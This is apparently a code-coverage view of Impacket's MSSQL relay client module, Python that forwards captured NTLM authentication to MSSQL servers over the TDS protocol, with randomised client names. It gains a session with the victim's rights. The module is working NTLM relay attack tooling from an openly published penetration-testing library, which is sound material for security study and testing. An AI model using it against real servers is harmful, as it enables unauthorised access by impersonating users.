Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# MSSQL (TDS) Protocol Client 

11# MSSQL client for relaying NTLMSSP authentication to MSSQL servers 

12# 

13# Author: 

14# Alberto Solino (@agsolino) 

15# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

16# 

17# ToDo: 

18# [ ] Handle SQL Authentication 

19# 

20import random 

21import string 

22from struct import unpack 

23 

24from impacket import LOG 

25from impacket.examples.ntlmrelayx.clients import ProtocolClient 

26from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \ 

27 TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN 

28from impacket.ntlm import NTLMAuthChallenge 

29from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

30from impacket.spnego import SPNEGO_NegTokenResp 

31 

32try: 

33 from OpenSSL import SSL 

34except Exception: 

35 LOG.critical("pyOpenSSL is not installed, can't continue") 

36 

37PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient" 

38 

39class MYMSSQL(MSSQL): 

40 def __init__(self, address, port=1433, rowsPrinter=DummyPrint()): 

41 MSSQL.__init__(self,address, port, rowsPrinter) 

42 self.resp = None 

43 self.sessionData = {} 

44 

45 def initConnection(self): 

46 self.connect() 

47 #This is copied from tds.py 

48 resp = self.preLogin() 

49 if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF: 

50 LOG.debug("Encryption required, switching to TLS") 

51 

52 # Switching to TLS now 

53 ctx = SSL.Context(SSL.TLSv1_METHOD) 

54 ctx.set_cipher_list('RC4, AES256') 

55 tls = SSL.Connection(ctx,None) 

56 tls.set_connect_state() 

57 while True: 

58 try: 

59 tls.do_handshake() 

60 except SSL.WantReadError: 

61 data = tls.bio_read(4096) 

62 self.sendTDS(TDS_PRE_LOGIN, data,0) 

63 tds = self.recvTDS() 

64 tls.bio_write(tds['Data']) 

65 else: 

66 break 

67 

68 # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 

69 # Transport Layer Security(TLS), limit data fragments to 16k in size. 

70 self.packetSize = 16*1024-1 

71 self.tlsSocket = tls 

72 self.resp = resp 

73 return True 

74 

75 def sendNegotiate(self,negotiateMessage): 

76 #Also partly copied from tds.py 

77 login = TDS_LOGIN() 

78 

79 login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 

80 login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') 

81 login['ServerName'] = self.server.encode('utf-16le') 

82 login['CltIntName'] = login['AppName'] 

83 login['ClientPID'] = random.randint(0,1024) 

84 login['PacketSize'] = self.packetSize 

85 login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON 

86 

87 # NTLMSSP Negotiate 

88 login['SSPI'] = negotiateMessage 

89 login['Length'] = len(login.getData()) 

90 

91 # Send the NTLMSSP Negotiate 

92 self.sendTDS(TDS_LOGIN7, login.getData()) 

93 

94 # According to the specs, if encryption is not required, we must encrypt just 

95 # the first Login packet :-o 

96 if self.resp['Encryption'] == TDS_ENCRYPT_OFF: 

97 self.tlsSocket = None 

98 

99 tds = self.recvTDS() 

100 self.sessionData['NTLM_CHALLENGE'] = tds 

101 

102 challenge = NTLMAuthChallenge() 

103 challenge.fromString(tds['Data'][3:]) 

104 #challenge.dump() 

105 

106 return challenge 

107 

108 def sendAuth(self,authenticateMessageBlob, serverChallenge=None): 

109 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

110 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

111 token = respToken2['ResponseToken'] 

112 else: 

113 token = authenticateMessageBlob 

114 

115 self.sendTDS(TDS_SSPI, token) 

116 tds = self.recvTDS() 

117 self.replies = self.parseReply(tds['Data']) 

118 if TDS_LOGINACK_TOKEN in self.replies: 

119 #Once we are here, there is a full connection and we can 

120 #do whatever the current user has rights to do 

121 self.sessionData['AUTH_ANSWER'] = tds 

122 return None, STATUS_SUCCESS 

123 else: 

124 self.printReplies() 

125 return None, STATUS_ACCESS_DENIED 

126 

127 def close(self): 

128 return self.disconnect() 

129 

130 

131class MSSQLRelayClient(ProtocolClient): 

132 PLUGIN_NAME = "MSSQL" 

133 

134 def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ): 

135 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 

136 self.extendedSecurity = extendedSecurity 

137 

138 self.domainIp = None 

139 self.machineAccount = None 

140 self.machineHashes = None 

141 

142 def initConnection(self): 

143 self.session = MYMSSQL(self.targetHost, self.targetPort) 

144 self.session.initConnection() 

145 return True 

146 

147 def keepAlive(self): 

148 # Don't know yet what needs to be done for TDS 

149 pass 

150 

151 def killConnection(self): 

152 if self.session is not None: 

153 self.session.disconnect() 

154 self.session = None 

155 

156 def sendNegotiate(self, negotiateMessage): 

157 return self.session.sendNegotiate(negotiateMessage) 

158 

159 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

160 self.sessionData = self.session.sessionData 

161 return self.session.sendAuth(authenticateMessageBlob, serverChallenge)